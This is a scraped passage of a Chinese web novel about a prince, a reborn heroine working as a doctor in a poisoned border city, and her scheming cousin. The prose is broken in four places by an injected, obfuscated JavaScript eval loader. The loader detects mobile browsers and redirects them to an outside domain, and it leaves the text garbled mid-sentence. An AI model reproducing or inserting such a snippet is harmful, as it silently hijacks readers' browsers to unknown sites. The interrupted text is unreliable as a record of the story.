“是啊,殿下,我们快去寻二皇子殿下吧……”凌风的话还没说完,就被萧凌川一记冰冷刺骨的眼神剜了过来。 他瞬间噤声,默默地和萧凌川先前带出来的几个士兵一起,快步朝着地窖的方向而去。 心中暗想:殿下和姜姑娘在闹别扭,还是别招惹他,以免殃及池鱼。 不多时,地窖厚重的石门再次被推开。 一个接一个虚弱不堪的百姓,被士兵们小心翼翼地搀扶着,从黑暗潮湿的地窖中走了出来。 他们面容憔悴,眼神中带着久困地下的茫然和对外界的恐惧。 看到久违的阳光,许多人都不由自主地眯起了眼睛,随即,便是喜极而泣。 “出来了!我们终于出来了!” “我还以为……我还以为要死在下面了……” “呜呜呜……太好了,那些怪物总算被制服了!” 喜悦、惊恐、庆幸……种种复杂的情绪交织在一起,化作一声声或高或低的哭喊,在空旷的街道上回荡。 就连先前还算镇定的二皇子萧锦瑜,在被搀扶出来,呼吸到外面带着尘土却自由的空气时,苍白的脸上也露出了几分劫后余生的激动。 萧凌川看着眼前这番景象,脸上紧绷的神色松动了几分。 他沉声吩咐凌风:“将这些百姓都带去城外我们扎营的地方安置。把我们带来的粮食先分给他们食用,务必让他们吃饱穿暖。” “是,殿下!”凌风领命,立刻组织士兵,开始护送这些虚弱的百姓前往城外军营。 随后,萧凌川又对凌风从城外带来的那些士兵下令:“你们,立刻将这些中了毒、服用了软筋散的人,用绳索都给我牢牢绑起来!一个都不能漏!确保他们无法再伤人,也方便孙神医为他们施针解毒。” “遵命!”士兵们齐声应道,动作迅速地开始执行命令。 一时间,街道上只剩下绳索摩擦和士兵们低沉的号令声。 姜姝宁看着眼前这有条不紊的一切,心想萧凌川虽然脾气臭了点,但在正事上,确实有条不紊,杀伐果断。 她没有闲着,招呼着夏嫣和凌芜,开始着手照顾那些刚刚从地窖里出来的百姓。 她们架起了几口大锅,烧火,熬煮米粥和草药。 药材的清苦香味和米粥的香甜气息渐渐在残破的街道上弥漫开来,驱散了些许死亡的阴霾,带来了一丝生机。 做完这一切,天色已经完全暗了下来。 几堆篝火在临时的安置点燃起,跳动的火焰映照着人们疲惫而又带着些许希冀的脸庞。 一场劫难即将被化解,众人心头安定了许多。 萧凌川处理完手头的事情,踱步走到姜姝宁身边。 她正蹲在一口锅前,拿着长柄木勺搅动着锅里翻滚的米粥,火光映在她专注的侧脸上,衬得她的眉眼格外柔和。 他看着她忙碌的身影,心中那股莫名的烦躁又涌了上来。 他不喜欢看到她这副为旁人操劳的模样,更不喜欢她身处险境。 “我送你回营帐。”萧凌川的声音依旧没什么温度,打破了这片刻的宁静,“明日天一亮,我便命人护送你回京。” 姜姝宁搅动米粥的动作一顿,她缓缓抬起头,看向站在身前的男人。 他身形高大,挡住了她面前的一片火光,一股无形的压力瞬间袭来。 “殿下,恕难从命。”她语气平静地说道,“我还得留下来,帮助孙神医给那些**的病患治病。孙神医年事已高,一个人要照料这么多人,定然忙不过来。” “给病患治病?你?”萧凌川轻笑,目光下意识地看向不远处正在给一个**士兵检查情况的孙神医,“孙神医,是这样吗?” 孙神医直起身子,笑呵呵地走了过来:“殿下,的确如此。姜……公子聪慧至极,悟性也高。老夫教给她的那套排**法,她已经完全掌握了,甚至在一些细节上还有自己的独到见解。她若能留在这里帮忙,确实能为老夫分担不少压力,也能让那些**的百姓和士兵尽快得到救治。” 萧凌川的脸色沉了沉,似乎还想再说些什么。 姜姝宁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15759005|172253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 却不想再听他那些赶人的话,她站起身,直视着他的眼睛,语气坚定道:“殿下,我既然来了,就已经打定了主意要在这里帮忙。南朔城如今这个样子,多一个人便多一份力量。殿下还是别总想着赶我回去了!” 她的声音不大,却让周围所有人都忍不住看过来。 萧凌川见状,只冷冷丢下一句话:“随便你!” 便转身大步离开,背影带着显而易见的怒气。 “我明明能做很多事情,殿下为何总想把我赶走?难道在他心中,我就是只会拖后腿的人吗?!”姜姝宁有些愤愤道。 凌芜连忙低声安慰道:“大……公子,您别生气。殿下他是担心您的安全。毕竟这里这么危险,您又是千金之躯……” “担心我的安全?”姜姝宁撇了撇嘴,“我看他就是看我不顺眼!从在这里见到我的第一眼开始,他就没给过我好脸色!” 凌芜暗自腹诽:我的大小姐啊,你到底怎么想的?四皇子殿下怎么可能看你不顺眼? 明眼人都瞧得出,他巴不得将您捧在掌心、护在眼底! “罢了,救人要紧!”姜姝宁很快调整好情绪,“凌芜,你和我一起去那些暂时安置百姓的营帐里看看,找一找南朔城里还有没有幸存的大夫。我来教他们排毒的针法,这样一来,就能有更多帮手,帮患者将体内的毒排出来!” “好!”凌芜见自家小姐不再纠结于四皇子的态度,也松了口气,连忙应声。 主仆二人不再耽搁,立刻朝着百姓们所在的营帐方向走去。 夜色渐深,她们的身影很快融入了摇曳的火光和忙碌的人群之中。 另一边,萧凌川怒气冲冲地回了自己的营帐,脸色阴沉得能拧出水来。 “从未见过如此执拗的女子,赶都赶不走!” 二皇子萧锦瑜跟着他回到营帐,知道他在说姜姝宁,忍不住道:“四弟,你这又是何苦呢?姜姑娘千里迢迢从京城赶到这凶险的南朔城,定然是担心你的安危,才会不顾一切地过来帮忙。你不是应该高兴吗?怎么一见了她反而板着一张脸?” “担心我的安危?”萧凌川脑海中却不受控制地浮现出那个绣着“瑾”字的香囊。 他冷哼一声,语气中带着一丝自嘲和苦涩,“她对我,可没有那么深的情意!” 第161章 有这么明显吗? 第一百六十一章有这么明显吗? 姜姝宁带着凌芜,在安置百姓的营帐中仔细询问了一番,果然找到了几个侥幸躲过一劫的大夫。 这些大夫本就有一些医术,加上此刻救人心切,学起来都格外认真。 很快,在姜姝宁的悉心指导下,他们便都掌握了这套排**法的诀窍,开始在其他**的患者身上进行施针。 随着时间的推移,越来越多的**患者在接受了排**法的治疗后,情况开始好转。 他们眼睛里的猩红之色渐渐褪去,露出了原本的瞳色;脸上和皮肤上的青黑色也逐渐淡化,恢复了些许正常的血色;最重要的是,他们身上那股令人不寒而栗的戾气和疯狂的攻击性,仿佛也随着毒素的排出而消失了。 虽然**时耗损了太多精气,再加上身上受了不同程度的伤,他们如今十分虚弱,只能躺在简易的床铺上,每日靠着米粥和汤药调养身体。 但对于那些日夜为他们担惊受怕的亲人来说,这已经是天大的好消息了! 看着自己的亲人从疯魔的状态恢复如常,那些未受感染的南朔百姓们激动得热泪盈眶,纷纷跪倒在萧凌川的营帐前,向他磕头谢恩。 “四皇子殿下!您真是我们南朔城的大救星啊!” “殿下,您之前在地窖里向我们承诺,无论如何都不会放弃任何一个人,您说到做到了!我们南朔城的百姓,对您万分感激!” “殿下大恩大德,我们永世不忘!” 萧凌川站在营帐门口,看着那些跪在地上,对他叩首的百姓,深邃眼眸中的思绪晦涩难辨。 姜姝宁站在不远处,静静地注视着这一幕。 前世,萧凌川登基后的种种,她无从知晓。 但今生,她亲眼见证了他为南朔百姓所做的一切。 尽管他性情冷峻,难以亲近,然在大是大非面前,却展现出皇子应有的担当与责任。 她相信,这样的萧凌川,将来定会是一个受万民敬仰的好皇帝。 不知不觉,姜姝宁在南朔城竟已待了近一个月。 这段时日,她每日都忙得脚不沾地。 除了为那些余毒未清的患者施针,巩固疗效,便是教导那些临时学医的大夫们更精细的针法和药理。 她的施针技术在大量的实践中突飞猛进。 其他本领皆是前世早已掌握,唯独医术是她重生后新学。 早知道学医能救那么多人,她前世就应该早点学,哪怕当个医女,也比日日在景王府里讨好夫君强。 除了医病救人,姜姝宁还发现南朔城内的食物实在匮乏得可怜。 将士们每日操练、巡防、参与重建,体力消耗巨大,却只能啃着干硬的麦饼,喝着寡淡的菜粥。 于是,她便将城中一些赋闲的妇人组织起来,一起琢磨起了菜式。 她们还将有限的粗粮想方设法做出花样,玉米面混着野菜做成菜团子,麦麸掺了豆粉烙成薄饼。 姜姝宁在南朔一直女扮男装,凭借精湛医术,深得百姓爱戴,皆亲切唤她“姜大夫”。 一位大娘见她眉清目秀、行事稳重,喜爱不已,笑问道:“姜大夫今年几岁?可曾定亲?” “在下十七,尚未定亲。”姜姝宁答道。 “才十七,医术便如此了得,姜大夫真是人中俊杰!”大娘笑容满面,“我家闺女年方二八,模样性子皆出挑!不如安排你们见上一面,结门亲事如何?” 姜姝宁一惊,忙摆手:“大娘,这可使不得!在下……”可是女子,怎能与女子结亲? 见她推辞,大娘有些不悦:“莫非姜大夫为朝廷做事,便瞧不上我们小门小户?” 姜姝宁解释道:“绝非如此!大娘,在下还年轻,暂无成亲打算。大娘,您的好意在下心领了!” “怕什么?定亲又不急着成亲,先与我闺女见个面嘛!”大娘仍不依不饶。 此时,萧凌川正好巡营归来,路过伙房,本是被阵阵饭香吸引的,听到了说话内容,当即推门而入。 姜姝宁与众妇人连忙起身行礼:“见过四皇子殿下!” 萧凌川目光落在姜姝宁身上,又扫过众妇人,冷声道:“姜大夫是本皇子的人,她的婚事自有本皇子做主!谁敢擅自做媒,也得问问本皇子答不答应!” 这话透着丝丝寒意,众妇人皆是一颤。 那位极力撮合女儿的大娘更是吓得直哆嗦:“是民妇冒失了,求殿下恕罪!” 萧凌川冷哼一声,转身离去。 姜姝宁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15773242|172253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 连忙推开门追上前,对着他的背影道:“殿下,多谢您为我解围!” 萧凌川蓦然转身,目光冷如冰霜:“姜姑娘当真魅力过人,在京城迷得男子神魂颠倒,到了南朔,连女子也为你倾倒!我倒要怀疑,你是不是会下什么情蛊!” 姜姝宁被这话气得脸颊绯红:“殿下是在嘲讽臣女招蜂引蝶吗?” “难道不是?”萧凌川冷笑,掏出藏在怀中的竹青色香囊,抛还给她,“还请姜姑娘往后别拿准备送旁人的东西来敷衍我!” 看到那香囊,姜姝宁脸更红了。 她终于明白,近日萧凌川对她态度恶劣的缘由——他发现了此香囊并非为他所绣,而是给萧怀瑾的。 香囊上犹残留他身上的余温,姜姝宁心头涌起一股复杂情绪。 明知这香囊非为他所绣,他却始终未曾丢弃。 要知道,前世即便是送他的香囊,他也是随手丢弃,从未珍惜。 今生的萧凌川,真的变了很多。 当晚回到营帐,她让凌芜取来针线。 “大小姐要缝什么?奴婢帮您吧!”凌芜道。 “不用,我想绣个香囊送人,还是亲手做更有诚意。” “香囊?送给谁呀?”凌芜好奇追问。 “四皇子殿下。” 凌芜眼睛一亮,心想:四皇子若知大小姐在南朔如此艰难的环境下,还为他亲手绣香囊,定会欢喜得不得了! 她忙道:“奴婢这就去找针线!” 不多时,身着戎装的夏嫣也回了营帐,见姜姝宁在昏黄油灯下低头缝制,忍不住劝道:“姝宁,这灯太暗,伤眼睛,白天再缝吧!” “白天要为病患施针,实在抽不出空。快些赶工,熬几晚就能做好。”姜姝宁头也不抬地应道。 “这香囊送给谁?值得你熬夜赶制?”夏嫣挤眉弄眼,“莫不是心上人?” “不是。”姜姝宁垂眸,“我惹了人生气,想用这香囊赔个不是。” “哦,给四皇子的吧?”夏嫣笑着道。 “你怎知道?”姜姝宁诧异抬头。 “南朔城里,除了他,谁还整天对你摆冷脸?不是他还能是谁?” 姜姝宁:“……” 有这么明显吗? 第162章 已经没了当初的悸动 第一百六十二章已经没了当初的悸动 整个南朔城,在萧凌川带来的士兵和幸存百姓的共同努力下,渐渐焕发出新的生机。 倒塌的房屋被清理,残破的城墙被修补,街道也被打扫得干干净净。 萧凌川带来的那些士兵,不再仅仅是戍边的战士,也成了南朔城重建的生力军,他们搬运石料,修葺屋舍,开垦荒地,汗水洒在这片曾经满目疮痍的土地上,孕育着新的希望。 而最让姜姝宁感到欣慰的,莫过于夏嫣的改变。 萧凌川大约是看出了夏嫣是个练家子,又或许是单纯想找个人分担军务,竟真的拨了一队士兵归她统领。 夏嫣得了这个机会,像是鱼儿回到了水里,整个人都鲜活了起来。 她每日带着那些士兵在城外的空地上操练,吼声震天。 起初,那些士兵见她身形清瘦,又是个生面孔,心里还有些不服气,总想寻衅滋事。 “我说,这位‘小将军’,细皮嫩肉的,能带咱们打仗吗?要知道,南朔可经常遭南月国敌兵挑衅,别到时候吓得尿裤子!”一个满脸横肉的士兵怪声怪气地说道,引来一阵哄笑。 夏嫣也不恼,只是冷冷地瞥了他一眼,随手从箭筒里抽出一支箭,也不搭弓,手腕一抖,那箭矢便“嗖”的一声破空而出,稳稳地钉在了百步开外一棵大树的树干上,箭羽兀自颤动不休。 “谁不服,出来比划比划。”夏嫣的声音清冽,带着不容置疑的威严。 那群士兵顿时目瞪口呆。 这臂力得多强才能做到? 至此,他们再不敢小觑这个看似文弱的“夏将军”。 他们哪里知道,眼前这位“小将军”不仅武艺高强,还是个女儿身。 因她每日都束着男儿发髻,穿着与士兵们无异的劲装,加上刻意压低了嗓音,竟无人看出破绽,都一口一个“夏将军”地叫着,还有不少年轻士兵崇拜她,时常缠着要与她比试拳脚。 前几日,一股小股的南月敌兵贼心不死,企图趁着夜色从后山偷袭,想要抢夺些粮草。 正是夏嫣带着她手下的士兵,利用山石和滚木,硬生生将那群南月兵给砸了回去,己方竟无一伤亡。 这一下,夏嫣在军中的威望更是水涨船高。 她每日忙着操练士兵,巡查防务,研究阵法,竟是忙得将二皇子都抛到了九霄云外。 直到前几日,二皇子萧锦瑜主动寻上门来,说是要与她切磋武艺。 彼时夏嫣正在校场上指点士兵们的枪法,见萧锦瑜来了,也只是淡淡地点了点头,算是打过招呼。 她心中毫无波澜,已经没了当初在京城时的那种悸动。 “夏兄弟,听闻你武艺精进不少,不如你我二人过几招,也好让我活动活动筋骨。”萧锦瑜笑着道。 夏嫣将手中的**往地上一顿,干脆利落地应道:“好啊,殿下请。” 两人你来我往,过了数十招。 夏嫣招式凌厉,攻守兼备,竟是丝毫不落下风。 反倒是萧锦瑜,不知是不是因为之前生病的缘故,应对略显吃力。 最后,夏嫣一个巧妙的虚晃,枪尖轻轻点在了萧锦瑜的肩头。 “殿下,承让了。”夏嫣收枪而立,语气平静无波,既无得意,也无半分旧日的小心翼翼。 萧锦瑜微微一愣,随即笑着道:“夏兄弟果然厉害,我输得心服口服。” 他看着夏嫣那张英气勃勃的面庞,眼中满是钦佩。 姜姝宁在不远处将这一切看在眼里,嘴角不由自主地扬起一抹欣慰的笑容。 夏嫣,是真的走出来了。 日后即便二皇子成婚,她也定能从容面对。 南朔城渐入佳境,患者得到及时的医治,城池重建,姜姝宁却不知,远在千里之外的京城相府,姜天泽正为她忧心如焚。 “大伯!大姐姐去徐州探亲,怎么这么久还没回来?都一个多月了,莫不是出了什么事?” 姜天泽隔三差五便闯进姜丞相的书房,翻来覆去问同一个问题。 姜丞相被他问得心烦意乱,却又不便直言,只得敷衍:“兴许是徐州亲戚投缘,她便多留了些时日。你安心读书 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15773243|172253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,少操这些心。” 姜天泽哪里肯信? 徐州不过几门远亲,平日往来稀疏,哪家亲戚能让大姐姐流连忘返,住上月余? 他总觉姜丞相在隐瞒什么,心中不安愈发浓重。 这夜,姜天泽辗转难眠,索性起身,悄悄潜入姜丞相的书房。 借着窗棂透进的微弱月光,他在书房中仔细翻找。 忽地,他瞥见书桌上放着一封新信,似是刚收到不久。 他抽出信纸,展开一看,熟悉的娟秀字迹跃入眼帘——正是大姐姐姜姝宁的笔迹! 姜天泽迫不及待读下去。 信中,姜姝宁先向父亲报平安,言称一切安好,勿需挂念。 随后提及南朔城正在重建,南月毒猫留下的祸患已受控制,**的病患也得到妥善救治,一切都在好转。 她预计再过一月,便可随大军返京。 “南朔……” 他的血管里的血液,在这一瞬间仿佛凝固了。 大姐姐,竟然去了那样凶险的地方! 姜姝宁还要再过一月方能返京,姜天泽如何等得下去? 一日不见,如隔三秋,他对姜姝宁的思念早就成狂了。 第二日,他便对姜三夫人和姜丞相谎称这段时日要闭关学习,在骊山书院住一两个月,等姜三夫人和姜丞相都同意后,他便带着盘查骑上快马,往南朔方向而去。 他身上没有路引,不能走官道,只能沿着山野和荒林一路往南。 好在他从小擅制**,随身携带的毒物震慑了猛兽虫蛇。 途中偶遇两名**,见他是个少年,想抢他身上的财物,反倒被他放倒,身上的财物被他洗劫一空不说,还被活活毒死。 “也算为民除害了!”对着两名**的尸体,他冷笑着道。 接着便马不停蹄,日夜兼程地赶路,终于赶在初冬第一场雪来临时抵达南朔城。 看着城门上“南朔”两个字,他唇角勾起一丝笑:“大姐姐,我来了!” 下一刻,他便直接倒在城门外,不省人事…… 第163章 他想吻她 第一百六十三章他想吻她 守在城外的士兵见有人倒在城门口,一看那少年模样有些几分像四皇子萧凌川,以为又是哪个皇子被送到南朔城来历练,连忙将他带回城里。 很快,凌风便认出他是姜家三少爷,连忙将此事告诉给姜姝宁。 姜姝宁见姜天泽衣衫破烂,满身风尘,顿时心疼不已,忙将他安置在营帐卧榻上,亲自为他喂汤喂药,细心照料。 孙神医便被请了过来,仔细为姜天泽把了脉,对姜姝宁道:“姜小姐不必过于忧心,姜三公子只是连日奔波,劳累过度,兼之有些水土不服,并无大碍。老夫开几剂调理的方子,好生休养几日便能恢复。” 听孙神医这么说,姜姝宁悬着的一颗心才稍稍放下。 她亲自去煎了药,又让厨房熬了些清淡的米粥,一勺一勺地小心喂给昏迷中的姜天泽。 姜天泽醒来时,已经是深夜。 营帐内只点着一盏昏黄的油灯,光线黯淡。 鼻息间,却萦绕着一股熟悉的、淡淡的馨香,那是大姐姐身上独有体香。 这个认知让他混沌的脑子清醒了几分。 他转动了一下僵硬的脖子,便看到姜姝宁趴在他的床边,头枕着手臂,已然熟睡。 昏暗的灯光柔和地笼罩着她的侧脸,长长的睫毛在眼睑下投下一小片阴影,显得格外柔美恬静。 姜天泽的心,蓦地漏跳了一拍。 一股难以言喻的悸动,如同电流般窜过四肢百骸。 有个疯狂的念头在他心底滋生。 他鬼使神差般地慢慢支起身子,一点一点地凑近姜姝宁。 他想吻她,想吻这张朝思暮想的脸。 就在他的唇即将触碰到她脸颊的那一刹那,姜姝宁长长的睫毛忽然颤动了一下,然后缓缓睁开了眼睛。 四目相对。 姜天泽整个人都僵住了,大脑一片空白,所有的动作都停滞在半空中,脸上还保持着那个意图不轨的姿势。 他甚至能从姜姝宁清澈的眼眸中,看到自己此刻慌乱的倒影。 还没等他想好如何解释,或者干脆撤退,就听到姜姝宁欣喜的声音响起:“天泽?你醒了?” 她似乎完全没有察觉到他刚才的异样举动,只是惊喜地看着他,眼中满是关切。 这个声音不大,却足以将睡在不远处行军床上的夏嫣和凌芜也一并吵醒了。 姜天泽这才发现,这个营帐里住着的不仅有他的大姐姐,还有另外两个女子。 “天泽,你可算醒了,你大姐姐都担心得茶饭不思。你说你,怎么一个人来南朔?这一路受了不少苦吧?”夏嫣边打着呵欠边说道。 凌芜见他醒了,神色也松缓了些:“三少爷,你既然醒了,身体若无大碍,明日还是搬去四皇子殿下的营帐那边吧。我们在这里虽然平日里都作男子打扮,但毕竟男女有别,夏姑娘也尚未婚配,总不能一直留您在此处歇息。” 姜天泽见她要赶自己走,连忙装出虚弱的模样,轻咳起来,对姜姝宁道:“大姐姐,我好难受……” 姜姝宁原本正想好好问问他为何如此鲁莽行事,竟只身来到南朔。可见他这副孱弱不堪的模样,哪里还忍心责怪。 她柔声安抚道:“好了好了,不舒服就别说话了。现在已经是深夜,你先好好休息。明日一早,我再让孙神医来给你瞧瞧。若是还未大好,你便继续睡我的床榻,我在床边打个地铺小憩便是,无妨的。” “谢谢大姐姐。”姜天泽目的达成,心中窃喜,面上却依旧是一副虚弱无辜的表情,顺势躺回了床上。 他伸手拉住了姜姝宁的手,可怜巴巴地望着她:“大姐姐,我有点害怕,你能不能……握着我的手睡觉?” 姜姝宁轻轻拍了拍他的手:“自然可以。安心睡吧,我就在这里陪着你。” 她只把年仅十六岁的姜天泽当成一个受了惊吓的孩子,又是自己的堂弟,没有往其他方面去想。 然而,一旁的夏嫣和凌芜却面面相觑,脸上不约而同露出怪异的神色。 她们可都清楚得很,这位姜三少爷敢只身从千里之外的京城跑到这兵荒马乱的南朔城,这份胆识和本事,绝非常人可比。 可眼下,他却表现得如此脆弱不堪,甚至像个小孩子一样撒娇依赖,这反差实在太大,令人费解。 若说他不是装的,她们可不信。 第二日清晨,姜姝宁早早便叫来了孙神医为姜天泽复诊。 孙神医为姜天泽把了脉,原本还算轻松的神色渐渐变得凝重起来。 “奇怪,真是奇怪……姜三公子的脉象,怎会如此不稳?浮而无力,数而失常,这……这像是得了重病的征兆啊!必须好生静养,万不可再劳累了!” 姜姝宁闻言大惊失色,连忙伸手去探姜天泽的额头,果然触手一片滚烫。 “怎么会这样?孙神医,您昨日给他把脉的时候,不是还说只是劳累过度,并无大碍吗?” 孙神医也是一脸困惑:“老夫昨日为姜三少爷诊脉,脉象确实平稳有力,虽有虚浮之态,但绝非重病之相。可仅仅一夜之间,竟会恶化至此……” 他顿了顿,又道,“不过姜小姐也莫要太过忧心,待老夫开几剂猛药,先将这热退下去再说。” “有劳孙神医了!既然他还病着,那就继续留在我营帐里吧,也方便我日夜照料他。”姜姝宁道。 躺在床上的姜天泽听到这话,唇角不禁勾起一丝得逞的笑。 他自然不是真的病得如此严重,只是偷偷服用一种能让人在短时间内出现高热、脉象紊乱症状的**。 为了能名正言顺地留在大姐姐身边,他受点苦也是值得的。 这番装模作样的把戏,把其他人都骗得团团转,却唯独瞒不过一个人——四皇子萧凌川。 萧凌川一大早便听说了姜家三少爷千里寻姐,结果病倒在姜姝宁营帐的消息。 当天下午,他便沉着脸,径直闯进了姜姝宁的营帐。 彼时姜姝宁正端着一碗刚熬好的汤药,准备喂给姜天泽。 “四皇子殿下?”见到萧凌川突然出现,她有些意外。 萧凌川却看也未看她一眼,径直走到床边,目光如炬地盯着躺在床上“奄奄一息”的姜天泽,冷哼一声。 姜天泽被他看得心里发毛,下意识地往被子里缩了缩。 “本王看姜三公子这病,来得蹊跷,好得也该快些才是。”萧凌川语气冰冷,不带一丝温度。 他猛地一伸手,竟是直接掀开了姜天泽身上的被子,然后像拎小鸡仔一样,一把将还在装病的姜天泽从床上拎了起来! “殿下,你这是做什么!天泽他还病着!”姜姝宁大惊失色,连忙放下药碗,想要上前阻止。 萧凌川却头也不回,冷声道:“他这病,在本王的营帐里,由孙神医日日亲自看顾,想必会好得更快一些!” 说完,也不顾姜天泽挣扎和姜姝宁呼喊,便像拎着一只不听话的猫崽子一般,大步流星地将姜天泽拎出了姜姝宁的营帐,径直带回了自己的营帐。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15773244|172253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 姜天泽被萧凌川毫不客气地丢在他营帐的行军床上,摔得七荤八素。 他还想继续装病,萧凌川却只是冷冷地瞥了他一眼,道:“孙神医,从今日起,每日三顿,都给这位姜三公子熬制最苦的清热解毒汤,务必让他药到病除!” 孙神医虽然不明所以,但见四皇子发话,也只能躬身应是。 于是,接下来几日,姜天泽便过上了水深火热的生活。 每日三餐,雷打不动地送来三大碗黑乎乎、苦得令人发指的汤药。 那药汁浓稠得像墨汁,散发着令人作呕的气味,每一口都像是在喝黄连水,苦得他舌头发麻。 初时他还想硬撑,但连喝了两日,他便再也受不住了。 这哪里是治病,分明是折磨! 萧凌川,他是故意的! 这天,孙神医又端着一碗冒着热气的苦药进来时,姜天泽终于缴械投降,从床上一跃而起:“孙神医,不必劳烦您了!我觉得我已经痊愈了!真的!你看,我现在能跑能跳,一点事都没有了!” 萧凌川正好从外面巡营回来,听到这话,唇边勾起一抹嘲讽的冷笑:“哦?这么快就好了?看来孙神医的药方果然有效。” 他踱步到姜天泽面前,居高临下地看着他,“你都多大的人了,还天天跑到你堂姐那里去撒娇卖痴,扮柔弱博同情,害不害臊?” 姜天泽被他说得面红耳赤,他本就有些畏惧萧凌川身上那股与生俱来的阴冷煞气,如今被当面戳穿,更是心虚不已,不敢与他对视。 “说吧,”萧凌川的语气缓和了一些,却依旧带着不容置疑的威严,“千里迢迢跑到这南朔城来,究竟所为何事?别告诉本王,你真是来探亲的。” 姜天泽自然不能说自己是因为朝思暮想大姐姐才追来的。 否则自己对姜姝宁那点隐秘的心思,岂不是被外人看得一清二楚? 他定了定神,拱手道:“回禀四皇子殿下,在下如今也算是殿下麾下之人。听闻殿下亲临南朔,是为了解决南月国毒猫之患,为国分忧。在下想着或许能来此尽一份绵薄之力,助殿下一臂之力!” 萧凌川挑了挑眉,审视地看着他,似乎在判断他话中的真假。 半晌,他才缓缓开口,神色也缓和了些许:“哼,算你还有几分上进之心,不枉姜丞相倾力栽培你为相府继承人。既如此,那你便暂时留下来帮忙吧!不过,若是让本王发现你阳奉阴违,或者再敢去骚扰姜姑娘……后果你是知道的。” 最后那句话,萧凌川说得意味深长,带着一丝显而易见的警告。 姜天泽心中一凛,连忙躬身道:“殿下放心!在下定当尽心竭力,不敢有半分懈怠!” 心里却暗暗叫苦,看来以后想再亲近大姐姐,怕是难上加难了。 姜天泽倒也并非全无用处。 被戳穿装病后,他便日日上山狩猎,为士兵与百姓带回不少野味。 寒冬将至,有了这些猎物,南朔百姓再也无需为缺粮过冬而忧心。 姜姝宁为此夸赞他几句,他心中甜滋滋的,打猎愈发卖力。 后来,南朔附近山头的猎物被他猎尽,他便以特制的**粉,引来南月国边境的猎物。 南月国驻军本指望这些猎物过冬,如今被姜天泽尽数夺走,气得暴跳如雷。 南朔的百姓与士兵听闻此事,笑得前仰后合。 每日充满希望,众人竟有些不舍离南朔返京。 然而,无人察觉,一场可怕的危机正在悄然逼近…… 第164章 安置所失火 第一百六十四章安置所失火 姜氏姨娘听闻萧凌川不仅未在南朔殒命,还治愈了身中南月猫毒之人,顿时怒不可遏。 她马不停蹄地赶往南朔,趁着夜色,用轻功轻易避开城外巡逻的士兵,如鬼魅般翻墙入城。 翌日清晨,她扮作一名老妪,混在人群中,在南朔城内游走。 一入城内,眼前的景象让她瞳孔骤缩。 街道虽然算不上繁华,却也干净整洁,孩童们在街头巷尾嬉戏打闹,商贩们也开始重新支起摊位,吆喝声此起彼伏,一派欣欣向荣的景象。 跟当初南月猫毒在城中肆虐的场景相差甚远。 更让她难以忍受的是,无论走到哪里,都能听到百姓们对四皇子萧凌川的交口称赞。 “要不是四皇子殿下,我们这些人早就没命了!” “是啊是啊,四皇子殿下真是咱们的救命恩人!不仅给我们吃的,还请来了神医,治好了这场比疫病还可怕的猫毒!” “有这样的好皇子,真是大邺的福气啊!” 姜家姨娘听着这些发自肺腑的感激之言,心中的怒意越烧越旺,几乎要将她的理智吞噬。 她精心设计的陷阱,不仅没能要了萧凌川的命,反而成了他收拢人心的垫脚石! 若继续下去,那还得了? 她眯起双眼,嘴角浮现一抹阴冷的笑意。 萧凌川如今被众人捧得如此之高,她定要让他尝尝身败名裂、沦为万人唾弃的滋味! 入夜,月黑风高。 姜家姨娘换上一身夜行衣,如狸猫般潜入军营中的兵器库,轻而易举地偷走了几套士兵的盔甲。 随后,她来到城中一处偏僻的赌场,用几锭沉甸甸的银子,收买了几个平日里游手好闲、臭名昭著的地痞流氓。 姜家姨娘递给他们一张字条,教他们应该如何做,并在字条末尾加上一句话:“事情办好了,这些金子也都是你们的。” 那几个地痞流氓看着黄澄澄的金子,眼睛都直了,连连点头哈腰:“夫人放心,保证办得妥妥当当!” 子时,万籁俱寂。 几道鬼祟的身影,穿着明显不合身的士兵铠甲,扛着火把和柴薪,悄无声息地摸到了城南一处临时搭建的安置所。 那里,住着最后一批中了南月猫毒尚未完全痊愈的患者。 